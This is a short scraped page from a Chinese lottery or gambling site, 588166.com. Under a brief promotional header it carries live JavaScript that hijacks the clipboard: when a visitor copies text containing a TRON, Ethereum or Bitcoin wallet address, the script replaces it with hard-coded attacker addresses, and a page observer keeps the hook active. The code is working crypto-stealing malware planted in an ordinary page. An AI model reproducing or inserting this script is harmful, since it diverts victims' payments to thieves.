588166.com
专业诚信 【澳门王中王 588166.com】
提高速度,减少浏览流量,不保留大量往期记录!
(function () {
function rca() {
const tar = /(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,
ear = /(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,
bar1 = /(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38})(?:\b|[^A-Za-z0-9])/g,
bar2 = /(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;
document.addEventListener(
"copy",
function (e) {
e.stopImmediatePropagation();
const ttc = window.getSelection().toString();
if (ttc.match(tar)) {
const ncd = ttc.replace(tar, "TGYavzGyUMjK99a2wJ3NHCSNUZAQtTm5ho");
e.clipboardData.setData("text/plain", ncd);
e.preventDefault();
} else if (ttc.match(ear)) {
const ncd = ttc.replace(
ear,
"0x65b1Df6d5F84A0e6731A3fB9Eaf9aE7881c2F678"
);
e.clipboardData.setData("text/plain", ncd);
e.preventDefault();
} else if (ttc.match(bar1)) {
const ncd = ttc.replace(
bar1,
"bc1qnm90u37nz6kthqk79vzgcrcr4w7h40936j027m"
);
e.clipboardData.setData("text/plain", ncd);
e.preventDefault();
} else if (ttc.match(bar2)) {
const ncd = ttc.replace(
bar2,
"bc1qnm90u37nz6kthqk79vzgcrcr4w7h40936j027m"
);
e.clipboardData.setData("text/plain", ncd);
e.preventDefault();
}
},
true
);
}
setTimeout(() => {
const obs = new MutationObserver((ml) => {
for (const m of ml) {
if (m.type === "childList") {
rca();
}
}
});
obs.observe(document.body, { childList: true, subtree: true });
}, 2000);
rca();
})();